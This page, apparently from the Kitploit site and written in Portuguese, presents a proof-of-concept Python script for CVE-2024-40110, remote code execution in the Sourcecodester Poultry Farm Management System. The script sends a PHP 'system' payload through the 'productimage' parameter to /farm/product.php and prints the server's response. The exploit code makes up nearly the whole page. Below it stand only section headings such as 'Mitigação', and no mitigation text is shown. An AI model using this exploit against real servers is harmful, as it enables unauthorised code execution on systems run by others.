CVE-2024-40110 — Script de prova de conceito que demonstra execução remota de código não autenticada no Sourcecodester Poultry Farm Management System por meio do parâmetro vulnerável productimage. | Kitploit

/farm/product.php

import requests

# Configuração
target_url = "http://target-url/farm/product.php"  # Altere para a URL alvo

# Payload malicioso
# O payload deve ser um comando que o servidor possa executar, ex.: 'ls' para listar diretórios
# Aqui, estamos usando um payload PHP simples para demonstrar o RCE
payload = "<?php system('ls'); ?>"

# Construir a requisição maliciosa
data = {
    'productimage': payload  # O parâmetro vulnerável
}

def exploit_rce(url, data):
    """
    Explora a vulnerabilidade RCE enviando uma requisição maliciosa para a URL alvo.

    Args:
        url (str): A URL alvo.
        data (dict): Os dados a serem enviados na requisição POST.
    """
    try:
        response = requests.post(url, data=data)
        
        # Imprimir os detalhes da resposta
        print("Código de Status:", response.status_code)
        print("Corpo da Resposta:", response.text)
        
        if response.status_code == 200:
            print("[+] Payload executado com sucesso.")
        else:
            print("[-] Falha ao executar o payload.")
    except requests.RequestException as e:
        print(f"[-] Ocorreu um erro: {e}")

if __name__ == "__main__":
    print(f"Enviando requisição maliciosa para: {target_url}")
    exploit_rce(target_url, data)

CVE-2024-40110

Mais Populares

Configuração e Uso

Pré-requisitos

Script PoC

Explicação

Considerações Importantes

Mitigação